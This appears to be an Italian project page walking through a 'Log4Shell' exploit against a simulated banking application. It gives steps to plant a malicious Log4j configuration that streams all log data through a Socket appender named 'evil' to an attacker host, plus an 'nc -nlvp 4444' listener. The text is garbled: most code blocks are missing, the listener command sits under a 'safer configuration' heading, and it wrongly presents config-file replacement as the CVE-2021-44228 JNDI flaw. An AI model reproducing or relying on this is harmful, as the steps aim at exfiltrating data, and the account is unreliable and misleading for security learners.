tadash10/exploiting-cve-2021-44228-log4shell-in-a-banking-environmentObiettivo: Dimostrare lo sfruttamento della vulnerabilità Log4Shell (CVE-2021-44228) all'interno di un ambiente di applicazione bancaria simulato.
Obiettivo: Dimostrare lo sfruttamento della vulnerabilità Log4Shell (CVE-2021-44228) all'interno di un ambiente applicativo bancario simulato.
Ambito:
1: Configurare un'applicazione bancaria vulnerabile utilizzando Apache Log4j. 2:Creare un payload per sfruttare la vulnerabilità, ottenendo l'esecuzione remota di codice. 3:Dimostrare tecniche di post-exploitation, come l'esfiltrazione di dati e il movimento laterale. 4:Implementare e documentare strategie di rilevamento e mitigazione, inclusi patch e monitoraggio di rete. 5:Procedura dettagliata del processo di exploit, inclusi gli strumenti utilizzati (ad es., JNDI Exploit Kit, Burp Suite).
Immergiamoci nella creazione di un payload per sfruttare la vulnerabilità Log4Shell (CVE-2021-44228) e ottenere l'esecuzione remota di codice all'interno dello scenario di esercitazione con VM fittizia.
Per creare il payload, dobbiamo comprendere la natura della vulnerabilità. La vulnerabilità Log4Shell consente agli aggressori di iniettare codice dannoso nel file di configurazione della libreria Log4j, che viene poi eseguito dall'applicazione interessata. Il payload sarà progettato per attivare questa vulnerabilità ed eseguire codice arbitrario sul sistema target.
Ecco una panoramica di base dei passaggi per creare il payload:
Identificare il file di configurazione di Log4j: individuare la posizione del file di configurazione di Log4j all'interno dell'ambiente applicativo bancario target. In genere, questo file si chiama log4j2.xml o log4j.properties.
Creare il payload di sfruttamento: creare una configurazione Log4j dannosa che includa un lookup JNDI (Java Naming and Directory Interface) per eseguire codice arbitrario. Questo payload può essere incorporato nel file log4j2.xml.
xml
Sostituisci "your-attacker-server" con l'indirizzo IP o il nome host della tua macchina di attacco in ascolto sulla porta 4444.
Ospita il payload: configura un listener sulla tua macchina di attacco per ricevere la connessione ed eseguire il codice arbitrario.
Dichiarazione XML:
xml
Dichiarazione XML standard.
Elemento Configuration:
xml
L'elemento radice per la configurazione di Log4j.
Appenders:
xml
Definisce un appender Socket chiamato "evil".
L'attributo host specifica il server dell'attaccante.
L'attributo port specifica la porta sul server dell'attaccante.
SerializedLayout indica che gli eventi di log verranno serializzati e inviati sulla rete, il che può rappresentare un rischio per la sicurezza in quanto potrebbe consentire l'esecuzione remota di codice (RCE) tramite attacchi di deserializzazione.
Loggers:
xml
<Loggers>
<Root level="all">
<AppenderRef ref="evil" />
</Root>
</Loggers>
Definisce il livello di logging come all, il che significa che tutti i messaggi di log (debug, info, warn, error, ecc.) verranno catturati.
L'AppenderRef fa riferimento all'appender "evil" definito in precedenza, il che significa che tutti i messaggi di log verranno inviati al server dell'attaccante.
Osservazioni
Rischi per la sicurezza:
Esecuzione remota di codice (RCE): l'utilizzo di SerializedLayout con un appender Socket remoto può consentire a un attaccante di eseguire codice arbitrario sul sistema se controlla il server e invia un payload dannoso. Questa è una vulnerabilità di sicurezza critica.
Esfiltrazione di dati: questa configurazione può facilmente portare all'invio di dati sensibili a un server remoto non autorizzato, causando perdite di dati.
Pratiche di logging non corrette:
Registrare su un server remoto non attendibile è altamente insicuro e va contro le migliori pratiche per un logging sicuro.
Registrare a livello all in un ambiente di produzione può portare a un flood di log, problemi di prestazioni e una potenziale esposizione di informazioni sensibili.
Raccomandazioni di mitigazione:
Evitare layout serializzati: non utilizzare SerializedLayout in alcuna configurazione di logging a meno che non sia assolutamente necessario e assicurarsi che il server ricevente sia attendibile e sicuro.
Validare gli endpoint di logging: assicurarsi che tutti gli endpoint di logging si trovino in ambienti attendibili e controllati.
Utilizzare layout sicuri: utilizzare layout più sicuri come PatternLayout che non comportano rischi di serializzazione.
Limitare i livelli di logging: utilizzare livelli di logging appropriati (ad es., info, warn, error) ed evitare di usare all se non per scopi di debug specifici in un ambiente sicuro.
Esempio di una configurazione più sicura
Ecco un esempio di una configurazione Log4j più sicura:
xml
nc -nlvp 4444
Attivare la vulnerabilità: distribuire il file di configurazione Log4j creato nell'ambiente target, sostituendo il file di configurazione originale.
Esecuzione dell'exploit: una volta che la configurazione dannosa viene caricata dall'istanza Log4j vulnerabile, tenterà di stabilire una connessione con il server dell'attaccante, portando all'esecuzione remota di codice.
Verificare l'esecuzione: controllare il listener sulla macchina dell'attaccante per confermare che il payload sia stato eseguito correttamente.
È fondamentale notare che questo payload ha scopi educativi e di test all'interno di un ambiente controllato. Negli scenari reali, sfruttare vulnerabilità come Log4Shell senza autorizzazione è illegale e non etico. Assicurati sempre di avere un permesso e un'autorizzazione espliciti prima di condurre qualsiasi attività di test di sicurezza o test di penetrazione.